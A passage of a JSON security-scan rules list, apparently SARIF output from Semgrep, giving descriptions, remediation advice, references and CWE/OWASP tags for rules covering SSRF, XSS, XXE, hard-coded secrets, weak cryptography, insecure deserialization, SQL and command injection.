forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","id":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","name":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n","text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","id":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","name":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","id":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","name":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","id":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","name":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","id":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","name":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"help":{"markdown":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade)\n - [https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps](https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade","id":"swift.webview.webview-https.swift-webview-config-https-upgrade","name":"swift.webview.webview-https.swift-webview-config-https-upgrade","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-https.swift-webview-config-https-upgrade"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash","id":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","name":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.rsa.rsa-insecure-hash.rsa-insecure-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","id":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","name":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"help":{"markdown":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md](https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md)\n","text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","id":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","name":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"help":{"markdown":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"helpUri":"https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity","id":"html.security.audit.missing-integrity.missing-integrity","name":"html.security.audit.missing-integrity.missing-integrity","properties":{"precision":"very-high","tags":["CWE-353: Missing Support for Integrity Check","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.audit.missing-integrity.missing-integrity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","id":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","name":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"help":{"markdown":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n","text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","id":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","name":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express","id":"javascript.express.db.mongoose-express.mongoose-express","name":"javascript.express.db.mongoose-express.mongoose-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-express.mongoose-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, 